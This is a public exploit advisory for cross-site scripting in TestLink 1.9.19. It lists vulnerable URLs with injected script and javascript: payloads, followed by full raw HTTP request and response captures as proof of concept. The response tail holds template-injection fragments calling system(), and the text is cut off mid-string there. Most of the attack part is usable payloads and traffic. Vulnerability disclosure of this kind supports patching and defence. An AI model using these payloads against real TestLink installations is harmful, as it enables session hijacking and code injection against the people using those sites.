TestLink 1.9.19 Cross Site Scripting

2019.11.21
Credit: Milad Khoshdel
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: TestLink 1.9.19 - Persistent Cross-Site Scripting # Date: 2019-11-20 # Exploit Author: Milad Khoshdel # Software Link: http://testlink.org/ # Version: TestLink 1.9.19 # Tested on: Linux Apache/2 PHP/7.3.11 ========= Vulnerable Pages: ========= Persistent --> https://[TestLink-URL]/testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3 Non-Persistent --> https://[TestLink-URL]/testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3 Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&nsextt=%3cscRipt%3ealert(0x00A5CA)%3c%2fscRipt%3e&show_mode=editDisabled&step_id= Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&%3cscRipt%3ealert(0x00A5CE)%3c%2fscRipt%3e=nsextt&show_mode=editDisabled Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&show_mode=%3cscRipt%3ealert(0x00A54D)%3c%2fscRipt%3e&step_id= ========= POC: ========= REGUEST --> GET /testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3 HTTP/1.1 Host: 127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Connection: Keep-Alive Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd Referer: http://127.0.0.1/testlink/login.php?viewer=3 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 RESPONSE --> HTTP/1.1 200 OK Server: Apache Content-Length: 526 X-Powered-By: PHP/7.3.11 Pragma: no-cache Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=50 X-Frame-Options: SAMEORIGIN Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Encoding: Date: Wed, 20 Nov 2019 11:29:45 GMT Vary: Cookie,Accept-Encoding Cache-Control: no-store, no-cache, must-revalidate <!DOCTYPE html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="Content-language" content="en" /> <meta name="generator" content="testlink" /> <meta name="author" content="TestLink Development Team" /> <meta name="copyright" content="TestLink Development Team" /> <meta name="robots" content="NOFOLLOW" /> <title>TestLink 1.9.19</title> <meta name="description" content="TestLink - TestLink ::: Main Page" /> <link rel="icon" href="http://127.0.0.1/testlink/gui/themes/default/images/favicon.ico" type="image/x-icon" /> </head> <frameset rows="70,*" frameborder="0" framespacing="0"> <frame src="lib/general/navBar.php?tproject_id=0&tplan_id=0&updateMainPage=1" name="titlebar" scrolling="no" noresize="noresize" /> <frame src="javascript:alert(0x002082)" scrolling='auto' name='mainframe' /> <noframes> <body> TestLink required a frames supporting browser. </body> </noframes> </frameset> ------------------------------------------------- STEP 1 --> [Request] GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3 HTTP/1.1 Host: 127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Connection: Keep-Alive Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK197TL_lastTestPlanForUserID_1=2; TL_lastTestProjectForUserID_2=1 Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 [Response] HTTP/1.1 200 OK Server: Apache Content-Length: 0 X-Powered-By: PHP/7.3.11 Pragma: no-cache Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=47 X-Frame-Options: SAMEORIGIN Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Nov 2019 11:59:45 GMT Vary: Cookie Cache-Control: no-store, no-cache, must-revalidate STEP 2 --> [Request] GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=testcase&id=127.0.0.1/trace.axd&show_mode=show&version_id=3 HTTP/1.1 Host: 127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Connection: Keep-Alive Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2 Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 [Response] #Identification Page HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Apache X-Powered-By: PHP/7.3.11 Pragma: no-cache Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=98 X-Frame-Options: SAMEORIGIN Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Encoding: Date: Wed, 20 Nov 2019 12:02:38 GMT Vary: Cookie,Accept-Encoding Cache-Control: no-store, no-cache, must-revalidate ner_title_{php}Smarty_Resource::parseResourceName(system("ns,[container_title_<scRipt>alert(0x008B19)</scRipt>] => container_title_<scRipt>alert(0x008B19)</scRipt>,[container_title_{{_self.env.registerUndefinedFilterCallback("sys


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